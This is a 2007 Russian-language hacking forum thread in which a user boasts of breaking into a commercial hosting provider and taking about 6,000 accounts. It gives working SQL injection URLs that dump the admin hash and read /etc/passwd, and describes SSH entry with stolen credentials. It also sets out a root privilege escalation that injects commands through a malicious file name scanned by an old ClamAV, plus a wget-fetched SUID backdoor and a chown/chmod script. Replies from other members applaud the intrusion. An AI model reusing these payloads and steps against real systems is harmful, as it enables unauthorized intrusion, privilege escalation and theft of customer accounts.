Супер хостинг!

Discussion in 'Уязвимости' started by fly, 22 Sep 2007.

  1. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    На днях на одном новостном портале увидел банер \супер хостинг по очень низким ценам\, ну, и перешел на сайт этого супер хостинга. Сразу бросился в глаза классный дизайн!!! ) Но как говорится: "Встречают по одежке"!!!
    Смс сайта была самописная (по скулям ничего не нашел, все говорило, что программисты там не пинают %).

    Решил начать изучение сайта с гугли. По индексации ничего полезного не нарыл. Решил пройтись сканером nikto! И нашел диру под названием calendar--[скрыл реальное название , т.к. не стану выкладывать в паблик уязвимость., во благо пиЯнеров )]

    Календарь носил личный характер(его вел админ). Двиг календаря был публичным скриптом. Конечно, захотелось почекать его на sql и получилось , нашлась скуля.
    Code:
    http://syper-hosting.biz/calendar/bag.php?id=-1+union+select+1,2,version(),4,5,6,7/*
    Версия мускула 5 ))) На лице появилась улыбка!

    По этому запросу нашел таблицу users_cal
    Code:
    http://syper-hosting.biz/calendar/bag.php?id=-1+union+select+1,2,TABLE_NAME,4,5,6,7+from+INFORMATION_SCHEMA.TABLES+limit+18,1/*
    Вывел хеш админа:
    Code:
    http://syper-hosting.biz/calendar/bag.php?id=-2+union+select+1,2,name,password,5,6,7+FROM+users_cal+LIMIT+0,1/* 
    После подбора получил пароль вида: te5tgc[e !)
    Зашел в админку, но ничего путного не нашел!
    Нацелил свою пати на 22 порт супер хостинга, но после ввода , мне сказали сходить вон, чего я и ожидал.

    Далее по копирайтам чудо-продукта, двинулся залить себе на хард, чудо-исходники.
    Поставив сее локально, нашел 2 пасс.xss и раскрытие пути, последнее натолкнуло на привязку к скуле!
    Раскрытие происходило при передаче в кукисах вместо сессии вида: 6234682lkhfg346346346t3y34 обычной одинарной ' ) или при обращение к файлу /inc/mail.conf.php!!!!!

    Поехали дальше.

    Code:
    bag.php?id=-2+union+select+1,2,LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7/*
    И увидел /etc/passwd ! Это уже радует. Имея путь и исходники я без всяких проблем просмотрел config календаря и вытянул оттуда пасс и логин от базы.!
    База была не главной , а конкретно под календарь, но вот логин от базы я нашел в passwd и данный юзер имел bash!) Опять зацепил 22 порт и уже внутри. Удача , как она хороша. !!)

    Прав было мало я мог просматривать только диру с календарем и все. В корень сайта попасть не мог.
    uname -a показал ,что сплоиты отпадают! ps -aux , из активных процессов я увидел антивирус под названием clamd. Да, крутая хостинг контора, а на лицензии экономит и юзает фриварный антивирь. Это и стало ошибкой ребят из супер конторы супер хостинга.
    Выполнив /usr/sbin/clamd -V номер версии был 0.67 )
    Что не радовало. Многие конечно же догнали к чему я веду. Изучив /etc/clamav.conf, откуда я узнал ,что проверка на малварь ведется из под рута. Теперь к теории.-->

    Баг стар как мир , т.е. антивирь сканит и находит наш подсадной вирь (любой, я сделал текстовый) с названием конечно не troy ,а например, id;uname- a
    Сейчас кто не догнал все поймет. !!!

    Полез я в /tmp убедился, что могу создавать файло , командую дальше :
    echo "FFASGAS/&^%#@$%(P*)785$$TEST-ANTIVIR-FILE!$H+H*" >./troyan =)
    Понюхав нашу заразу, антивирус по всем правилам завоняет , даже не безобидную малварь. Но имя как писалось выше не подходило, надо было что-нить с ";" дабы выполнить команды под рутам (антивирь пашет под рутом). Но вот тут облом был в том, что нельзя использовать бекслеш в названии моего виря, т.е. нельзя было в названии указать путь к файлу и запустить его !!!!!
    Но решение я нашел. Мне надо было реализовать активацию моего самопального друга-бекдора, меняющего uid и gid , а затем он должен запустить интерпретатор. Начал тестить мою идею, но оказалось ,что в системе нет gcc ((, но бинарные форматы никто не отменял. Сделав все у себя на сервере , я перенес на супер хостинг при помощи wgeta в диру /tmp/ как super. Как уже говорил про слЭши , решение было найдено в набивки отдельного sh -скрипта ., назвав его /tmp/good :
    Code:
    #!/bin/sh
    chown root:root /tmp/super
    chmod +s /tmp/super
    
    Потом для меня настала пора подумать над названием моей малвари. Мне надо было заставить clamd запустить /tmp/good, который установит суид-бит на бекдор /tmp/super
    Зная ,что clamd работает в корневом каталоге, я сделал следующие:

    mv troyan ';cd tmp;export PATH= 'pwd';super'

    И поставив + на /tmp/good. Теперь осталось ждать, когда начнется сканирование системы.

    Через пару часов залез на шелл и увидел суидный /tmp/test ))) Сервер был повержен.

    Ну и последствия: 6к аков!
     
    #1 fly, 22 Sep 2007
    Last edited: 22 Sep 2007
    4 people like this.
  2. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    Хацкер))))
    С вирусом круто намутил)
    Вопрос тока как ты как ты такой пароль брутанул...
     
  3. a1ex

    a1ex Banned

    Joined:
    11 Oct 2006
    Messages:
    517
    Likes Received:
    130
    Reputations:
    -13
    Я тоже заинтересован.
     
  4. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    В этом движке обычный base 64 : dGU1dGdjW2U= )))
     
  5. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Скоро выкину на ачате все про этот скрипт!
     
  6. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    )))) Ааааа... А я думал у тебя на винте rainbow tables гигов 100))